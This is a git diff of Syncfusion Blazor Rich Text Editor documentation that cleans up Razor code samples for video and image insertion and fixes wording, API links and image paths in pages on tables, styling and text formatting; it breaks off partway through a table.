index 64ff2a5f86..5cbf3dd2c1 100644
--- a/blazor/rich-text-editor/tools/code-snippet/video-authentication.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/video-authentication.razor
@@ -1,9 +1,11 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
-        <RichTextEditorEvents FileUploading="@onFileUploading"></RichTextEditorEvents>
-        <RichTextEditorVideoSettings SaveUrl="api/Video/Save" Path="./Video/"></RichTextEditorVideoSettings>
+    <RichTextEditorEvents FileUploading="@onFileUploading"></RichTextEditorEvents>
+    <RichTextEditorVideoSettings SaveUrl="api/Video/Save" Path="./Video/"></RichTextEditorVideoSettings>
 </SfRichTextEditor>
+
 @code {
     private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
     {
@@ -16,5 +18,4 @@
         // adding custom Form Data
         args.CustomFormData = new List<object> { new { Authorization = accessToken } };
     }
-}
-
+}
\ No newline at end of file
diff --git a/blazor/rich-text-editor/tools/code-snippet/video-display-position.razor b/blazor/rich-text-editor/tools/code-snippet/video-display-position.razor
index 2fe0789635..7abfd31d9a 100644
--- a/blazor/rich-text-editor/tools/code-snippet/video-display-position.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/video-display-position.razor
@@ -1,30 +1,23 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
-        <RichTextEditorVideoSettings LayoutOption="DisplayLayoutOptions.Break"></RichTextEditorVideoSettings>
-        <p>
-            The Rich Text Editor control is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content.
-            Users can format their content using standard toolbar commands.
-        </p>
-        <p><b> Key features:</b></p>
-        <ul>
-            <li><p> Provides &lt; IFRAME &gt; and &lt; DIV &gt; modes </p></li>
-            <li><p> Capable of handling markdown editing.</p></li>
-            <li><p> Contains a modular library to load the necessary functionality on demand.</p></li>
-            <li><p> Provides a fully customizable toolbar.</p></li>
-            <li><p> Provides HTML view to edit the source directly for developers.</p></li>
-            <li><p> Supports third - party library integration.</p></li>
-            <li><p> Allows preview of modified content before saving it.</p></li>
-            <li><p> Handles images, hyperlinks, video, hyperlinks, uploads, etc.</p></li>
-            <li><p> Contains undo / redo manager.</p></li>
-            <li><p> Creates bulleted and numbered lists.</p></li>
-        </ul>
+    <RichTextEditorVideoSettings LayoutOption="DisplayLayoutOptions.Break"></RichTextEditorVideoSettings>
+    <h5>Rich Text Editor Video Display</h5>
+    <p>The Rich Text Editor allows you to insert video files and control their display behavior.</p>
+    <ul>
+        <li>When set to <b>Break</b>, the video appears as a separate block element.</li>
+        <li>When set to <b>Inline</b>, the video appears within the text flow alongside other content.</li>
+    </ul>
+    <h5>Try It Out!</h5>
+    <video controls>
+        <source src="https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Ocean-Waves.mp4" type="video/mp4" />
+    </video>
 </SfRichTextEditor>
+
 @code {
     private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
     {
         new ToolbarItemModel() { Command = ToolbarCommand.Video }
     };
-}
-
+}
\ No newline at end of file
diff --git a/blazor/rich-text-editor/tools/code-snippet/video-drag-and-drop.razor b/blazor/rich-text-editor/tools/code-snippet/video-drag-and-drop.razor
index 7935295520..f1028315c2 100644
--- a/blazor/rich-text-editor/tools/code-snippet/video-drag-and-drop.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/video-drag-and-drop.razor
@@ -1,21 +1,22 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
-        <RichTextEditorVideoSettings SaveUrl="@saveUrl" Path="@path"></RichTextEditorVideoSettings>
-        <p>
-            The Rich Text Editor supports seamless video insertion through drag-and-drop functionality. Users can quickly insert video files into their content with a simple drag-and-drop action.
-        </p>
-        <p><b>Key features:</b></p>
-        <ul>
-            <li>Supports local upload: Drag video files from your local system (e.g., File Explorer, Finder) and drop them
-                directly into the editor.</li>
-            <li>Supports server upload: Configure the <code>SaveUrl</code> property to upload video files to your server
-                before inserting them into the editor.</li>
-            <li>Supports common video formats such as MP4, WMV, AVI and MOV</li>
-            <li>Fully customizable upload settings, including size limits and validation.</li>
-        </ul>
+    <RichTextEditorVideoSettings SaveUrl="@saveUrl" Path="@path"></RichTextEditorVideoSettings>
+    <p>
+        The Rich Text Editor supports seamless video insertion through drag-and-drop functionality. Users can quickly insert video files into their content with a simple drag-and-drop action.
+    </p>
+    <p><b>Key features:</b></p>
+    <ul>
+        <li>Supports local upload: Drag video files from your local system (e.g., File Explorer, Finder) and drop them
+            directly into the editor.</li>
+        <li>Supports server upload: Configure the <code>SaveUrl</code> property to upload video files to your server
+            before inserting them into the editor.</li>
+        <li>Supports common video formats such as MP4, WMV, AVI and MOV</li>
+        <li>Fully customizable upload settings, including size limits and validation.</li>
+    </ul>
 </SfRichTextEditor>
+
 @code {
     private string saveUrl = "https://blazor.syncfusion.com/services/production/api/RichTextEditor/SaveFile";
     private string path = "https://blazor.syncfusion.com/services/production/RichTextEditor/";
@@ -23,5 +24,4 @@
     {
         new ToolbarItemModel() { Command = ToolbarCommand.Video }
     };
-}
-
+}
\ No newline at end of file
diff --git a/blazor/rich-text-editor/tools/code-snippet/video-restrict.razor b/blazor/rich-text-editor/tools/code-snippet/video-restrict.razor
index a0862c6d9d..b0edf79797 100644
--- a/blazor/rich-text-editor/tools/code-snippet/video-restrict.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/video-restrict.razor
@@ -1,28 +1,19 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
-        <RichTextEditorVideoSettings MaxFileSize="30000000"></RichTextEditorVideoSettings>
+    <RichTextEditorVideoSettings MaxFileSize="30000000"></RichTextEditorVideoSettings>
+    <h5>Maximum File Size Restriction</h5>
+    <p>You can control the size of video files uploaded to the editor to ensure optimal performance and prevent large file uploads.</p>
+    <ul>
+        <li>The MaxFileSize property allows you to restrict video uploads by defining the maximum allowed file size. By default, the maximum size is set to 30,000,000 bytes (approximately 30 MB). </li>
+        <li>Video files exceeding this limit are blocked from being uploaded to ensure better control and performance.</li>
+    </ul>
 </SfRichTextEditor>
+
 @code {
     private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
     {
-        new ToolbarItemModel() { Command = ToolbarCommand.Video },
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
-        new ToolbarItemModel() { Command = ToolbarCommand.Underline },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
-        new ToolbarItemModel() { Command = ToolbarCommand.Alignments },
-        new ToolbarItemModel() { Command = ToolbarCommand.OrderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.UnorderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable },
-        new ToolbarItemModel() { Command = ToolbarCommand.Image },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo }
+        new ToolbarItemModel() { Command = ToolbarCommand.Video }
     };
 }
\ No newline at end of file
diff --git a/blazor/rich-text-editor/tools/code-snippet/video-save.razor b/blazor/rich-text-editor/tools/code-snippet/video-save.razor
index 3e50cf43c7..c2170502c1 100644
--- a/blazor/rich-text-editor/tools/code-snippet/video-save.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/video-save.razor
@@ -1,8 +1,10 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
-        <RichTextEditorVideoSettings SaveUrl="api/Video/Save" Path="./Video/"></RichTextEditorVideoSettings>
+    <RichTextEditorVideoSettings SaveUrl="api/Video/Save" Path="./Video/"></RichTextEditorVideoSettings>
 </SfRichTextEditor>
+
 @code {
     private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
     {
diff --git a/blazor/rich-text-editor/tools/code-snippet/video-tool.razor b/blazor/rich-text-editor/tools/code-snippet/video-tool.razor
index 1ddcab0e04..02556a3997 100644
--- a/blazor/rich-text-editor/tools/code-snippet/video-tool.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/video-tool.razor
@@ -1,6 +1,23 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
+    <h4>Insert Video in Rich Text Editor!</h4>
+    <p>You can insert and play video files within this editor. Click inside the editor and use the video tool to add a video file.</p>
+    <h5>What You Can Do</h5>
+    <ul>
+        <li><strong>Insert Video:</strong> Upload video files from local storage or provide a direct video URL.</li>
+        <li><strong>Playback Support:</strong> Play video directly within the editor using built-in controls.</li>
+        <li><strong>Layout Options:</strong> Display video as inline content or as a separate block element.</li>
+        <li><strong>Drag and Drop:</strong> Insert video by dragging files directly into the editor.</li>
+        <li><strong>Copy and Paste:</strong> Paste video files directly into the editor from your system.</li>
+        <li><strong>Replace Video:</strong> Easily change the existing video using the replace option.</li>
+        <li><strong>Remove Video:</strong> Delete video files from the content whenever needed.</li>
+    </ul>
+    <h5>Try It Out!</h5>
+    <video controls>
+        <source src="https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Ocean-Waves.mp4" type="video/mp4" />
+    </video>
 </SfRichTextEditor>
 
 @code {
diff --git a/blazor/rich-text-editor/tools/custom-tool.md b/blazor/rich-text-editor/tools/custom-tool.md
index 66f8419eb7..99b7e6406e 100644
--- a/blazor/rich-text-editor/tools/custom-tool.md
+++ b/blazor/rich-text-editor/tools/custom-tool.md
@@ -26,7 +26,7 @@ Refer to the following code sample to configure a custom toolbar item with toolt
         <RichTextEditorCustomToolbarItems>
             <RichTextEditorCustomToolbarItem Name="Symbol">
                 <Template>
-                    <SfButton @onclick="ClickHandler">Insert Symbol</SfButton>
+                    <SfButton @onclick="ClickHandler">Ω</SfButton>
                 </Template>
             </RichTextEditorCustomToolbarItem>
         </RichTextEditorCustomToolbarItems>
@@ -63,4 +63,4 @@ Refer to the following code sample to configure a custom toolbar item with toolt
 
 You can use the `EnableToolbarItem` and `disableToolbarItem` methods to control the state of toolbar items. This methods takes a single item or an array of [Items](./built-in-tools#available-toolbar-items) as parameter.
 
-> You can add the command name `Custom` to disable the custom toolbar items on source code view and other quicktoolbar operations.
\ No newline at end of file
+> You can add the command name `Custom` to disable the custom toolbar items on source code view and other quick toolbar operations.
\ No newline at end of file
diff --git a/blazor/rich-text-editor/tools/format-painter.md b/blazor/rich-text-editor/tools/format-painter.md
index 39a35d20fc..83277b886f 100644
--- a/blazor/rich-text-editor/tools/format-painter.md
+++ b/blazor/rich-text-editor/tools/format-painter.md
@@ -29,7 +29,7 @@ The following example demonstrates how to add the Format Painter tool to the Ric
 
 ### Customizing copy and paste format
 
-Users can customize the behavior of the Format Painter tool using the [RichTextEditorFormatPainterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.html) property.
+Users can customize the behavior of the Format Painter tool using the [RichTextEditorFormatPainterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorFormatPainterSettings.html) property.
 
 The [AllowedFormats](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorFormatPainterSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorFormatPainterSettings_AllowedFormats) property helps you to specify tag names that allow the formats to be copied from the selected text. For instance, you can include formats from the selected text using tags like `[p;]` `[h1;]` `[h2;]` `[h3;]` `[div;]` `[ul;]` `[ol;]` `[li;]` `[span;]` `[strong;]` `[em;]` `[code;]`. The following example demonstrates how to customize this functionality.
 
@@ -57,6 +57,6 @@ Below is an example illustrating how to define the `AllowedFormats` and `DeniedF
 
 For more details on keyboard navigation, refer to the [Keyboard support](https://blazor.syncfusion.com/documentation/rich-text-editor/keyboard-support) documentation.
 
-> The Format Painter retains formatting after application, allowing you to apply the same styles multiple times by using the <kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd>v</kbd> keyboard shortcut.
+N> The Format Painter retains formatting after application, allowing you to apply the same styles multiple times by using the <kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd>v</kbd> keyboard shortcut.
 
-Additionally, users can perform the format painter actions programmatically using the [ExecuteCommandAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_ExecuteCommandAsync_Syncfusion_Blazor_RichTextEditor_CommandName_Syncfusion_Blazor_RichTextEditor_FormatPainterParams_Syncfusion_Blazor_RichTextEditor_ExecuteCommandOption_) public method.
+Additionally, users can perform the format painter actions programmatically using the [ExecuteCommandAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_ExecuteCommandAsync_Syncfusion_Blazor_RichTextEditor_CommandName_) public method.
diff --git a/blazor/rich-text-editor/tools/insert-image.md b/blazor/rich-text-editor/tools/insert-image.md
index 741273fbaa..6d9164d291 100644
--- a/blazor/rich-text-editor/tools/insert-image.md
+++ b/blazor/rich-text-editor/tools/insert-image.md
@@ -233,29 +233,14 @@ In the following code, the image size has been validated before uploading and it
 @using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor>
+    <RichTextEditorToolbarSettings Items="Items"/>
     <RichTextEditorImageSettings MaxFileSize="30000000" />
 </SfRichTextEditor>
 
 @code {
     private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
     {
-        new ToolbarItemModel() { Command = ToolbarCommand.Image },
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
-        new ToolbarItemModel() { Command = ToolbarCommand.Underline },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
-        new ToolbarItemModel() { Command = ToolbarCommand.Alignments },
-        new ToolbarItemModel() { Command = ToolbarCommand.OrderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.UnorderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo }
+        new ToolbarItemModel() { Command = ToolbarCommand.Image }
     };
 }
 
@@ -282,9 +267,8 @@ To explicitly remove images from the server, use the [ImageDelete](https://help.
 
 The following sample demonstrates how to use the `ImageDelete` event in Rich Text Editor to delete images from the server after they are removed from the editor content:
 
-`Index.razor`
-
-```cshtml
+{% tabs %}
+{% highlight razor %}
 
 @using Syncfusion.Blazor.RichTextEditor
 
@@ -292,6 +276,7 @@ The following sample demonstrates how to use the `ImageDelete` event in Rich Tex
    <RichTextEditorEvents ImageDelete="@OnImageDeleteHandler"></RichTextEditorEvents>
    <RichTextEditorImageSettings SaveUrl="@SaveURL" Path="@Path" RemoveUrl="@RemoveURL"/>
 </SfRichTextEditor>
+
 @code{
     private string SaveURL = "[SERVICE_HOSTED_PATH]/api/RichTextEditor/SaveFile";
     private string Path = "[SERVICE_HOSTED_PATH]/RichTextEditor/";
@@ -324,7 +309,8 @@ The following sample demonstrates how to use the `ImageDelete` event in Rich Tex
 
 }
 
-```
+{% endhighlight %}
+{% endtabs %}
 
 ## Set image dimensions
 
@@ -340,14 +326,20 @@ The image caption and alternative text can be specified for the inserted image i
 
 Through the `Alternative Text` option, set the alternative text for the image when the image is not successfully uploaded into the Rich Text Editor.
 
+![Blazor RichTextEditor alternative text](../images/blazor-richtexteditor-alternative-text.png)
+
 When you click the `Image Caption` button, the image is wrapped in an image element with a caption. Then, type the caption content inside the Rich Text Editor.
 
+![Blazor RichTextEditor image caption](../images/blazor-richtexteditor-image-caption.png)
+
 ## Setting image display position
 
 Configure the default display behavior for inserted images when it is inserted in the Rich Text Editor using the [RichTextEditorImageSettings.Display](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorImageSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorImageSettings_Display) property.
 
 N> It has two possible options: `Inline` and `Break`.
 
+![Blazor RichTextEditor image display](../images/blazor-richtexteditor-image-display.png)
+
 {% tabs %}
 {% highlight razor %}
 
@@ -355,12 +347,17 @@ N> It has two possible options: `Inline` and `Break`.
 
 <SfRichTextEditor>
     <RichTextEditorImageSettings Display="ImageDisplay.Inline" />
-    <p>The Rich Text Editor allows you to insert images from the online source as well as the local computer where you want to insert the image in your content.</p>
-    <p><b>Get started with Quick Toolbar to click on the image</b></p>
-    <p>It is possible to add a custom style on the selected image inside the Rich Text Editor through the quick toolbar.</p>
-    <img alt='Logo' style='width: 300px; height: 300px; transform: rotate(0deg);' src='https://blazor.syncfusion.com/demos/images/RichTextEditor/RTEImage-Feather.png' />
+    <RichTextEditorToolbarSettings Items="Items"/>
+    <p>The Rich Text Editor allows you to insert images and control their display behavior. When set to <b>Break</b>, the image appears as a separate block element. When set to <b>Inline</b>, the image appears within the text flow alongside other content.</p><img alt='Logo' style='width: 300px; height: 300px; transform: rotate(0deg);' src='https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Portrait.png'/>
 </SfRichTextEditor>
 
+@code {
+    private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
+    {
+        new ToolbarItemModel() { Command = ToolbarCommand.Image }
+    };
+}
+
 {% endhighlight %}
 {% endtabs %}
 
diff --git a/blazor/rich-text-editor/tools/link-manipulation.md b/blazor/rich-text-editor/tools/link-manipulation.md
index 17bfb2159f..d134b415d9 100644
--- a/blazor/rich-text-editor/tools/link-manipulation.md
+++ b/blazor/rich-text-editor/tools/link-manipulation.md
@@ -38,7 +38,7 @@ N> The Rich Text Editor link tool validates the URLs as you type them in the web
 
 ## Enable auto-linking
 
-When you type URL and enter key to the Rich Text Editor, the typed URL will be automatically changed into the hyperlink.
+When you type a URL and press the Enter key in the Rich Text Editor, the typed URL will be automatically changed into a hyperlink.
 
 ## Enable auto URL conversion
 
diff --git a/blazor/rich-text-editor/tools/styling-tools.md b/blazor/rich-text-editor/tools/styling-tools.md
index 26f47c1dd5..750a4f92f9 100644
--- a/blazor/rich-text-editor/tools/styling-tools.md
+++ b/blazor/rich-text-editor/tools/styling-tools.md
@@ -17,7 +17,7 @@ To apply a different font style to a section of the content, select the text you
 
 ### Built-in font family
 
-The following table lists the default font name and width of the `FontName` dropdown and the available list of font names.
+The following table lists the default font name, the width of the `FontName` dropdown, and the available list of font names.
 
 | Default Key | Default Value |
 |-----|--------------------------------------|
@@ -32,7 +32,7 @@ The following table lists the default font name and width of the `FontName` drop
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor RichTextEditor changing built-in font family](../images/blazor-richtexteditor-buildin-font-name.png)
+![Blazor RichTextEditor changing built-in font family](../images/blazor-richtexteditor-builtin-font-name.png)
 
 ### Custom font family
 
@@ -129,7 +129,7 @@ The following table lists the default font size and width of the [FontSize](http
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor RichTextEditor changing built-in font size](../images/blazor-richtexteditor-buildin-font-size.png)
+![Blazor RichTextEditor changing built-in font size](../images/blazor-richtexteditor-builtin-font-size.png)
 
 ### Custom font size
 
@@ -193,23 +193,6 @@ This feature can be enabled separately for the [RichTextEditorFontColor](https:/
 {% endhighlight %}
 {% endtabs %}
 
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
 ## Built-in editor content styles
 
 By default, the content styles of the Rich Text Editor are not returned while retrieving the HTML value from the editor. So, the styles are not applied when using the HTML value outside the editor. To get the styles from the Rich Text Editor’s content for your application, copy and use the following styles directly in your application. The styles listed are used in the UI elements of the Rich Text Editor.
@@ -437,7 +420,7 @@ N> Make sure to add a CSS class `e-rte-content` to the content container.
 ```
 ## Customizing numbered and bulleted lists
 
-This feature allows users to change the appearance of the numbered and bulleted lists. Users can also apply different numbering or bullet formats lists such as lowercase greek, upper Alpha, square, and circles. Also, customize the style type of the lists to be populated in the dropdown from the toolbar by using the [NumberFormatList](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorNumberFormatList.html) and [BulletFormatList](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorBulletFormatList.html) properties in the Rich Text Editor.
+This feature allows users to change the appearance of the numbered and bulleted lists. Users can also apply different numbering or bullet formats lists such as lowercase Greek, upper Alpha, square, and circles. Also, customize the style type of the lists to be populated in the dropdown from the toolbar by using the [NumberFormatList](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorNumberFormatList.html) and [BulletFormatList](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorBulletFormatList.html) properties in the Rich Text Editor.
 
 {% tabs %}
 {% highlight razor %}
diff --git a/blazor/rich-text-editor/tools/table-manipulation.md b/blazor/rich-text-editor/tools/table-manipulation.md
index adc2ce8b7e..7054498d67 100644
--- a/blazor/rich-text-editor/tools/table-manipulation.md
+++ b/blazor/rich-text-editor/tools/table-manipulation.md
@@ -37,7 +37,7 @@ Using the [ToolbarCommand.CreateTable](https://help.syncfusion.com/cr/blazor/Syn
 
 The quick toolbar is opened by clicking the table. It has different sets of commands to be performed on the table, which increases the feasibility of editing the table easily.
 
-N> For more details about quick toolbar, refer to this [documentation section](../toolbar#quick-toolbar).
+N> For more details about quick toolbar, refer to this [documentation section](../quick-toolbar).
 
 ## Table properties
 
@@ -82,7 +82,7 @@ The text formatting feature in tables allows users to apply various styles to se
 
 <SfRichTextEditor ShowCharCount="true">
     <RichTextEditorToolbarSettings Items="@Tools" />
-    <h2>Discover the Table's Powerful Features</h2><p>A table can be created in the editor using either a keyboard shortcut or the      toolbar. With the quick toolbar, you can perform table cell insert, delete, split, and merge operations. You can style the table cells using background colours and borders.</p>      
+    <h2>Discover the Table's Powerful Features</h2><p>A table can be created in the editor using either a keyboard shortcut or the toolbar. With the quick toolbar, you can perform table cell insert, delete, split, and merge operations. You can style the table cells using background colours and borders.</p>      
     <table class="e-rte-table" style="width: 100%; min-width: 0px; height: 151px">
         <thead>
             <tr>
@@ -128,7 +128,7 @@ The text formatting feature in tables allows users to apply various styles to se
 
 The Rich Text Editor allows users to change the appearance of the tables by splitting or merging the table cells.
 
-The `TableCell` item should be configured in the Table [quickToolbarSettings](../toolbar#table-quick-toolbar) property to show the merge or split icons while selecting the table cells.
+The `TableCell` item should be configured in the Table [quickToolbarSettings](../quick-toolbar) property to show the merge or split icons while selecting the table cells.
 
 ### Cell merging
 
@@ -150,7 +150,7 @@ The [TableToolbarCommand.TableHeader](https://help.syncfusion.com/cr/blazor/Sync
 
 ## Insert rows
 
-The [TableCommandsArgs.Rows](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.TableCommandsArgs.html#Syncfusion_Blazor_RichTextEditor_TableCommandsArgs_Rows) can be inserted above or under the required table cell through the quick toolbar. Also, the focused row can be deleted.
+The [TableCommandsArgs.Rows](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.TableCommandsArgs.html#Syncfusion_Blazor_RichTextEditor_TableCommandsArgs_Rows) can be inserted above or under the required table cell through the quick toolbar. Also, the focused row can be deleted. The following screenshot shows the available options of the row item.
 
 ![ Blazor RichTextEditor inserting table rows](../images/blazor-richtexteditor-insert-table-rows.png)
 
@@ -178,7 +178,7 @@ The Rich Text Editor allows users to insert tables within other table cells, ena
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor RichTextEditor with code view](./images/blazor-richtexteditor-nesting-table.png)
+![Blazor RichTextEditor with code view](../images/blazor-richtexteditor-nesting-table.png)
 
 ## Quick insert for table rows and columns
 
@@ -190,7 +190,7 @@ The Rich Text Editor offers a simple and intuitive way to add rows and columns t
 - **What you'll see**: A small dot icon (●) will appear at the **top edge** of the cell.
 - **How to add**: Hover over the dot to reveal a **plus icon (+)**. Click it to insert a new column to the left.
 
-![Blazor RichTextEditor table column quick insert](./images/table_column_quick_insert.gif)
+![Blazor RichTextEditor table column quick insert](../images/table_column_quick_insert.gif)
 
 ### Insert rows instantly
 
@@ -198,19 +198,19 @@ The Rich Text Editor offers a simple and intuitive way to add rows and columns t
 - **What you'll see**: A small dot icon (●) will appear at the **left edge** of the cell.
 - **How to add**: Hover over the dot to reveal a **plus icon (+)**. Click it to insert a new row above.
 
-![Blazor RichTextEditor table row quick insert](./images/table_row_quick_insert.gif)
+![Blazor RichTextEditor table row quick insert](../images/table_row_quick_insert.gif)
 
 ## Vertical align
 
 The text inside the table can be aligned to the top, middle, or bottom using the [TableToolbarCommand.TableCellVerticalAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.TableToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_TableToolbarCommand_TableCellVerticalAlign) command of the quick toolbar.
 
-![Blazor RichTextEditor changing vertical alignment](./images/blazor-richtexteditor-vertical-alignment.png)
+![Blazor RichTextEditor changing vertical alignment](../images/blazor-richtexteditor-vertical-alignment.png)
 
 ## Horizontal align
 
 The text inside the table can be aligned left, right, or center using the `TableCellHorizontalAlign` command of the quick toolbar.
 
-![Blazor RichTextEditor changing horizontal alignment](./images/blazor-richtexteditor-horizontal-alignment.png)
+![Blazor RichTextEditor changing horizontal alignment](../images/blazor-richtexteditor-horizontal-alignment.png)
 
 ## Border Styles
 
@@ -222,7 +222,7 @@ By default, it provides `Dashed border` and `Alternate rows`.
 
 `Alternate border`: Applies the alternative background to the table.
 
-![Blazor RichTextEditor displaying table styles](./images/blazor-richtexteditor-table-style.png)
+![Blazor RichTextEditor displaying table styles](../images/blazor-richtexteditor-table-style.png)
 
 ### Custom Styles
 
@@ -236,13 +236,13 @@ The Rich Text Editor provides support to custom styles for tables. If you want t
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor RichTextEditor with custom table styles](./images/blazor-richtexteditor-custom-table-styles.png)
+![Blazor RichTextEditor with custom table styles](../images/blazor-richtexteditor-custom-table-styles.png)
 
 ## Cell color
 
 The background color can be set for each table cell through the [TableToolbarCommand.BackgroundColor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.TableToolbarCommand.html#Syncfusion_Blazor_RichTextEditor_TableToolbarCommand_BackgroundColor) command available with the quick toolbar.
 
-![Blazor RichTextEditor changing table background color](./images/blazor-richtexteditor-table-background-color.png)
+![Blazor RichTextEditor changing table background color](../images/blazor-richtexteditor-table-background-color.png)
 
 ## Copy, cut, and paste table rows and columns
 
@@ -270,4 +270,4 @@ N> Refer to the [Blazor Rich Text Editor](https://www.syncfusion.com/blazor-comp
 
 ## See also
 
-* [How to edit the quick toolbar settings](../toolbar#quick-toolbar)
+* [How to edit the quick toolbar settings](../quick-toolbar)
diff --git a/blazor/rich-text-editor/tools/text-formatting.md b/blazor/rich-text-editor/tools/text-formatting.md
index bf10d5857b..cb1c91e70f 100644
--- a/blazor/rich-text-editor/tools/text-formatting.md
+++ b/blazor/rich-text-editor/tools/text-formatting.md
@@ -17,17 +17,17 @@ The Rich Text Editor's basic styles feature provides essential formatting option
 
 The table below lists the available text styles in the Rich Text Editor's toolbar.
 
-| Name | Icons | Summary | Initialization |
-|----------------|---------|---------|------------------------------------------|
-| Bold  | ![Bold icon](../images/bold.png) | Makes text thicker and darker | toolbarSettings: { items: ['Bold']} | `<b>bold</b>` |
-| Italic | ![Italic icon](../images/italic.png) | Slants text to the right | toolbarSettings: { items: ['Italic']} | `<em>italic</em>` |
-| Underline | ![Underline icon](../images/under-line.png) | Adds a line beneath the text | toolbarSettings: { items: ['Underline']} |
-| StrikeThrough | ![StrikeThrough icon](../images/strikethrough.png) | Applies a line through the text. |toolbarSettings: { items: ['StrikeThrough']}|
-| InlineCode |![InlineCode icon](../images/inlineCode.png) | Formats text as inline code | toolbarSettings: { items: ['InlineCode']} | `<code>inline code</code>`|
-| SubScript | ![SubScript icon](../images/sub-script.png) | Positions text slightly below the normal line |toolbarSettings: { items: ['SubScript']}|
-| SuperScript | ![SuperScript icon](../images/super-script.png) | Positions text slightly above the normal line |toolbarSettings: { items: ['SuperScript’']}|
-| LowerCase | ![LowerCase icon](../images/lower-case.png) |  Converts text to lowercase |toolbarSettings: { items: ['LowerCase']}|
-| UpperCase | ![UpperCase icon](../images/upper-case.png) | Converts text to uppercase |toolbarSettings: { items: ['UpperCase’']}|
+| Name | Icons | Summary |
+|----------------|---------|---------|
+| Bold  | ![Bold icon](../images/bold.png) | Makes text thicker and darker |
+| Italic | ![Italic icon](../images/italic.png) | Slants text to the right |
